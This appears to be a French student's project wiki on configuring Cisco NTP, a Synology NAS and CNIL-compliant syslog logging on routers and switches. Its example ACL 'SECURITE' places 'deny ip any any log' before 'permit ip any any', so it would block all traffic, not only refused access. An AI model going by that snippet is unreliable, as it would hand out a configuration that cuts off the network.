# Raphaël

# NTP



# Configuration de la synchronisation de l'heure (NTP)

*Outils utilisés : Routeur / Switchs Cisco – Packet Tracer*  
  
**Objectif :**  
On va régler la synchronisation de l'heure (NTP) sur un routeur Cisco. L'idée, c'est que l'heure se mette à jour automatiquement avec Internet et que le routeur serve de référence pour les autres appareils du réseau.  
  
**Étape 1 – On regarde l'heure avec la commande suivante :**

<table cellpadding="4" cellspacing="0" id="bkmrk-show-clock" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">show clock

</td></tr></tbody></table>

  
Avec ça, on voit l'heure du routeur avant de changer quoi que ce soit.

  
**Étape 2 – On règle le fuseau horaire avec les commandes suivantes :**

<table cellpadding="4" cellspacing="0" id="bkmrk-conf-tclock-timezone" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">conf t  
clock timezone CET 1  
clock summer-time CEST recurring last Sun Mar 2:00 last Sun Oct 3:00  
end

</td></tr></tbody></table>

Ici, on dit au routeur qu'on est en France et qu'il faut passer à l'heure d'été tout seul.  
  
**Étape 3 – On vérifie qu'on a Internet avec la commande suivante :**

<table cellpadding="4" cellspacing="0" id="bkmrk-ping-8.8.8.8-%2F%2F-adre" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">Ping 8.8.8.8 // adresse de Google

</td></tr></tbody></table>

  
Il faut que le routeur puisse aller sur Internet pour parler aux serveurs NTP.  
  
**Étape 4 – On dit au routeur quels serveurs NTP utiliser avec les commandes suivantes :**

<table cellpadding="4" cellspacing="0" id="bkmrk-conf-tntp-server-0.p" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">conf t  
ntp server 0.pool.ntp.org  
ntp server 1.pool.ntp.org  
end

</td></tr></tbody></table>

  
Du coup, le routeur va demander l'heure à ces serveurs.  
  
**Étape 5 – On fait du routeur le chef de l'heure avec les commandes suivantes :**

<table cellpadding="4" cellspacing="0" id="bkmrk-conf-tntp-master-3en" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">conf t  
ntp master 3  
end

</td></tr></tbody></table>

  
  
Même si Internet tombe, le routeur pourra quand même donner l'heure aux autres appareils.  
  
**Étape 6 – On vérifie que tout est OK avec les commandes suivantes :**

<table cellpadding="4" cellspacing="0" id="bkmrk-show-ntp-statusshow-" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">show ntp status  
show ntp associations

</td></tr></tbody></table>

On regarde si l'horloge est bien synchronisée.  
  
**Étape 7 – On regarde l'heure une dernière fois de la commande :**

<table cellpadding="4" cellspacing="0" id="bkmrk-show-clock-1" width="100%"><colgroup><col width="256*"></col> </colgroup><tbody><tr><td style="border: 1px solid #000000; padding: 0.1cm;" valign="top" width="100%">show clock

</td></tr></tbody></table>

  
L'heure doit être la bonne.  
  
Pour finir :   
La synchronisation de l'heure, c'est important pour le projet IRS. Ça permet d'avoir des infos cohérentes et de surveiller le réseau sans problème.

# Comment trouver l'adresse du NAS

**1. Objectif**  
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRS-SI.

NAS utilisé : Synology DS920+

**2. Matériels**   
• NAS Synology DS920+ avec des disques durs faits pour ça  
• Caméras IP qui marchent avec ONVIF  
• Switch et routeur pour le réseau  
• Adresse IP fixe pour le NAS

**3. Installer le système DSM**  
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :

<table border="1" id="bkmrk-https%3A%2F%2Ffind.synolog" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>https://find.synology.com</td></tr></tbody></table>

Une fois le NAS déctecté :

- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).

**Pour conclure**  
*Le NAS Synology DS920+ est top pour garder et utiliser les vidéos de surveillance du projet IRSI-SI. Il est fiable, bien protégé et fait ce qu'on lui demande.*

# Re-travail des missions



# Mission 1 — Centraliser l’heure (NTP)

\--&gt; A faire sur les deux switchs et le routeur

Pourquoi : Le **routeur** donne l’heure à tous les **switchs** et hôtes (horodatages cohérents pour les logs et les tests).

Console --&gt; passer en config :

<table border="1" id="bkmrk-enable-configure-ter" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>enable

configure terminal

</td></tr></tbody></table>

Fuseau horaire (France) :

<table border="1" id="bkmrk-clock-timezone-cet-1" style="border-collapse: collapse; width: 100%; height: 44.5938px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 44.5938px;"><td style="height: 44.5938px;"><div class="scriptor-paragraph">clock timezone CET 1</div><div class="scriptor-paragraph">clock summer-time CEST recurring</div></td></tr></tbody></table>

\------------------------------------------------------------------------------------------

Routeur NTP maître (seulement dans le routeur) :

<table border="1" id="bkmrk-ntp-master-3-end-wri" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>ntp master 3

end

write memory

</td></tr></tbody></table>

Pour vérifier :

<table border="1" id="bkmrk-show-ntp-status-show" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>show ntp status

show clock

</td></tr></tbody></table>

\------------------------------------------------------------------------------------------

Déclarer le routeur NTP (seulement dans les switchs) :

<table border="1" id="bkmrk-conf-tntp-server-%28ip" style="border-collapse: collapse; width: 100%; height: 29.7969px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">conf t  
ntp server (IP routeur)  
clock timezone CET 1  
end  
write memory

</td></tr></tbody></table>

Pour vérifier :

<table border="1" id="bkmrk-show-ntp-association" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>show ntp associations

show clock

</td></tr></tbody></table>

\--&gt; Redémarre un switch --&gt; show clock doit afficher la bonne heure (synchro)

\-------------------------------------------------

Sans internet :

## Bilan complet des commandes

### Routeur

<div class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg" id="bkmrk-"><div class="sticky opacity-0 group-hover/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"><div class="transition-all opacity-0 scale-50" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div></div><div class="overflow-x-auto"></div></div>```
enable
clock set HH:MM:SS 19 March 2026
configure terminal
clock timezone CET 1
ntp master 3
end
write memory
```

**Vérification :**

<div class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg" id="bkmrk--1"><div class="sticky opacity-0 group-hover/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"><div class="transition-all opacity-0 scale-50" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div></div><div class="overflow-x-auto"></div></div>```
show clock
show ntp status
```

---

### Switchs (les deux)

<div class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg" id="bkmrk--3"><div class="sticky opacity-0 group-hover/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"><div class="transition-all opacity-0 scale-50" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div></div><div class="overflow-x-auto"></div></div>```
enable
configure terminal
clock timezone CET 1
ntp server <IP_du_routeur>
end
write memory
```

**Vérification :**

<div class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg" id="bkmrk--4"><div class="sticky opacity-0 group-hover/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"><div class="transition-all opacity-0 scale-50" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div></div><div class="overflow-x-auto"></div></div>```
show clock
show ntp associations
```

---

### Points importants

- Ne pas mettre `clock summer-time CEST recurring` pour l'instant (on est encore en heure d'hiver, ça décalerait d'1h)
- Remplacer `<IP_du_routeur>` par une IP visible dans `show ip interface brief` sur le routeur
- Le `clock set` est à faire **avant** le `configure terminal`, sinon la commande n'est pas disponible

# Mission 2 — Lister ce qui doit être journalisé (logs)

Objectif : Etablir quoi logger sur routeurs/switchs pour la supervision/sécurité.

#### 1. Connexions administrateur

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A">À journaliser :</div>- Connexions SSH / Telnet / Console réussies
- Tentatives de connexion échouées
- Entrée / sortie du mode enable
- Escalade de privilèges
- Identifiant, IP source, date / heure

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-cnil%2Fr"><span style="font-weight: 600;">Justification CNIL/RGPD :</span> traçabilité des accès, enregistrement des actions d’administration</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-">---

</div>##### 2. Changements d’état des interfaces

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-1">À journaliser :</div>- Interface up/down
- Changement speed/duplex
- Déconnexion / reconnexion
- Erreurs physiques : CRC, collisions, input/output errors

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-d%C3%A9te">Justification : détection d’incident matériel ou intrusion réseau</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--1">---

</div>##### 3. Violations de sécurité L2

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-2">À journaliser :</div>- Port‑Security : MAC inconnue, port en err‑disabled
- DHCP Snooping : serveur DHCP non autorisé
- Dynamic ARP Inspection (DAI) : ARP spoofing / MITM détecté
- IP Source Guard : mismatch IP/MAC

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-d%C3%A9te-1">Justification : détection d’accès non autorisé et attaques L2 ciblant des données personnelles</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--2">---

</div>#### 4. VLAN / trunk / Spanning‑Tree

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-3">À journaliser :</div>- VLAN créés / supprimés / modifiés
- Changements d’affectation de port
- Perte d’un trunk 802.1Q
- Spanning‑Tree : changement de root, TCN, blocage de port

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-acti">Justification : actions administratives affectant le transport des données ➝ traçabilité obligatoire</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--3">---

</div>#### 5. Reboot, crash, anomalies système

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-4">À journaliser :</div>- Reboot planifié / manuel
- Crash system / stack trace
- Panic IOS / firmware
- Événements SNMP critiques

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-anal">Justification : analyse d’incident et sécurité du système d’information</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--4">---

</div>#### 6. Alertes matérielles (température, ventilateurs, alimentation)

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-5">À journaliser :</div>- Température anormale
- Ventilateur défectueux
- Panne alimentation / changement d’état PSU

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-mesu">Justification : mesure technique indispensable à la sécurité (art. 32 RGPD)</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--5">---

</div>#### 7. Violations ACL / tentatives d’accès refusées

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-6">À journaliser :</div>- Paquets bloqués par ACL
- Accès réseau refusé
- Tentatives d’accès à ressources interdites

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-tra%C3%A7">Justification : traçabilité des tentatives d’accès non autorisées (CNIL)</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--6">---

</div>#### 8. Modifications de configuration

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-7">À journaliser :</div>- copy run start / write
- Modification des ACL
- Modification des routes
- Création / suppression d’interfaces
- Changement de paramètres NTP, SNMP, VLAN

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-cnil-%3A">Justification CNIL : journalisation obligatoire des actions <span style="font-style: italic;">création, modification, suppression</span> de configuration</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--7">---

</div>#### 9. Événements système critiques

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-8">À journaliser :</div>- CPU élevé
- Mémoire saturée
- Bug matériel

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-d%C3%A9te-2">Justification : détection automatique des incidents via outils de supervision (CNIL)</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--8">---

</div>#### 10. Journaux NTP (indispensable pour traçabilité)

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-9">À journaliser :</div>- Synchronisation NTP OK / KO
- Perte de synchronisation
- Modification de serveur NTP

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-%3A-horo">Justification : horodatage fiable, nécessaire à la valeur probante des logs (CNIL)</div><div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk--9">---

</div>#### 11. SNMP / Supervision

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-%C3%80-journaliser-%3A-10">À journaliser :</div>- Traps SNMP critiques
- Changements de configuration SNMPv3 (auth/priv)
- MIB système / sécurité

<div attribution="{"id":"legarrec.r@stjolorient.fr","name":"Raphael, LE GARREC","timestamp":1774518000000,"email":"legarrec.r@stjolorient.fr","oid":"ff5260b2-2c6a-403b-b568-3ab588dd1b0c","dataSource":2}" class="scriptor-paragraph" id="bkmrk-justification-cnil-%3A-1">Justification CNIL : analyse automatique obligatoire pour détection rapide d’incidents</div><span class="svelte-x57wqa fade-in">Sources a utiliser : </span>

<span class="svelte-x57wqa fade-in">[https://www.cnil.fr/fr/la-cnil-publie-une-recommandation-relative-aux-mesures-de-journalisation](https://www.cnil.fr/fr/la-cnil-publie-une-recommandation-relative-aux-mesures-de-journalisation)  
  
</span><span class="svelte-x57wqa fade-in">https://donnees.net/gestion-logs-rgpd</span>

# Mission 3 — Paramétrer les logs sur routeurs & switchs

<div id="bkmrk-objectif-%3A-envoyer-l">**Objectif** : Envoyer les journaux vers un serveur central (rsyslog) tout en gardant un buffer local.</div><div id="bkmrk-"></div><div id="bkmrk---%3E-a-le-faire-a-cha">--&gt; A le faire a chaque équipement  
  
Sur PuTTy, sur le routeur : </div><div id="bkmrk-configurer-buffer-%26-"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1.1. Activer l'horodatage (obligatoire pour CNIL/RGPD) : </div></div><table border="1" id="bkmrk-configure-terminal-l" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">conf t</div><div class="scriptor-paragraph">service timestamps log datetime msec localtime show-timezone</div><div class="scriptor-paragraph">service sequence-numbers</div></td></tr></tbody></table>

<div id="bkmrk-1.2.-envoyer-les-log" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">**1.2. Envoyer les logs au serveur Syslog**</div><table border="1" id="bkmrk-logging-host-%28ip%29-en" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">logging host 192.168.99.3</div><div class="scriptor-paragraph">logging trap informational</div><div class="scriptor-paragraph">logging on</div></td></tr></tbody></table>

<div id="bkmrk-1.3.-inclure-les-inf" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1.3. Inclure les informations critiques</div><div id="bkmrk-logs-des-tentatives-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Logs des tentatives administratives (SSH, console, login)</div></div><table border="1" id="bkmrk-show-logging" style="border-collapse: collapse; width: 99.9345%; height: 38px;"><colgroup><col style="width: 100%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">login on-failure log</div><div class="scriptor-paragraph">login on-success log</div><div class="scriptor-paragraph">ip ssh logging events</div></td></tr></tbody></table>

<div id="bkmrk-logs-des-changements" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Logs des changements de configuration</div><div id="bkmrk-archive-log-config-%C2%A0" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">archive</div><div class="scriptor-paragraph">log config</div><div class="scriptor-paragraph"> logging enable</div><div class="scriptor-paragraph"> notify syslog</div><div class="scriptor-paragraph"> hidekeys</div></td></tr></tbody></table>

</div><div id="bkmrk-1.4.-suivi-des-inter" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1.4. Suivi des interfaces (up/down + erreurs)</div><div id="bkmrk-conf-t-%C2%A0-%C2%A0logging-ev" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%; height: 93.4334px;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr style="height: 63.5167px;"><td style="height: 63.5167px;"><div class="scriptor-paragraph">conf t</div><div class="scriptor-paragraph"> logging event link-status</div><div class="scriptor-paragraph"> logging event trunk-status</div></td></tr></tbody></table>

</div><div id="bkmrk-pour-une-interface-s" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Pour une interface spécifique :</div><div id="bkmrk-interface-gigabiteth" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">interface GigabitEthernet0/1</div><div class="scriptor-paragraph"> logging event link-status</div></td></tr></tbody></table>

</div><div id="bkmrk-1.5.-logs-acl-%28acc%C3%A9s" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">**1.5. Logs ACL (accés refusés)**</div><div id="bkmrk-ajoute-log-%C3%A0-la-fin-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Ajoute log à la fin des ACL :</div><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">ip access-list extended SECURITE</div><div class="scriptor-paragraph">deny ip any any log</div><div class="scriptor-paragraph">permit ip any any</div></td></tr></tbody></table>

</div></div><div id="bkmrk-1.6.-logs-s%C3%A9curit%C3%A9-l" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">1.6. Logs sécurité L2 (si switch - routeur hybride)</div><div id="bkmrk-sur-routeurs-l3-avec" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Sur routeurs L3 avec switch intégré :</div><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">ip dhcp snooping database write-delay 60</div><div class="scriptor-paragraph">ip arp inspection logging</div></td></tr></tbody></table>

</div></div><div id="bkmrk-1.7.-logs-ntp" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">**1.7. Logs NTP**</div><div id="bkmrk-ntp-logging" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>ntp logging</td></tr></tbody></table>

</div>1.8. Logs système

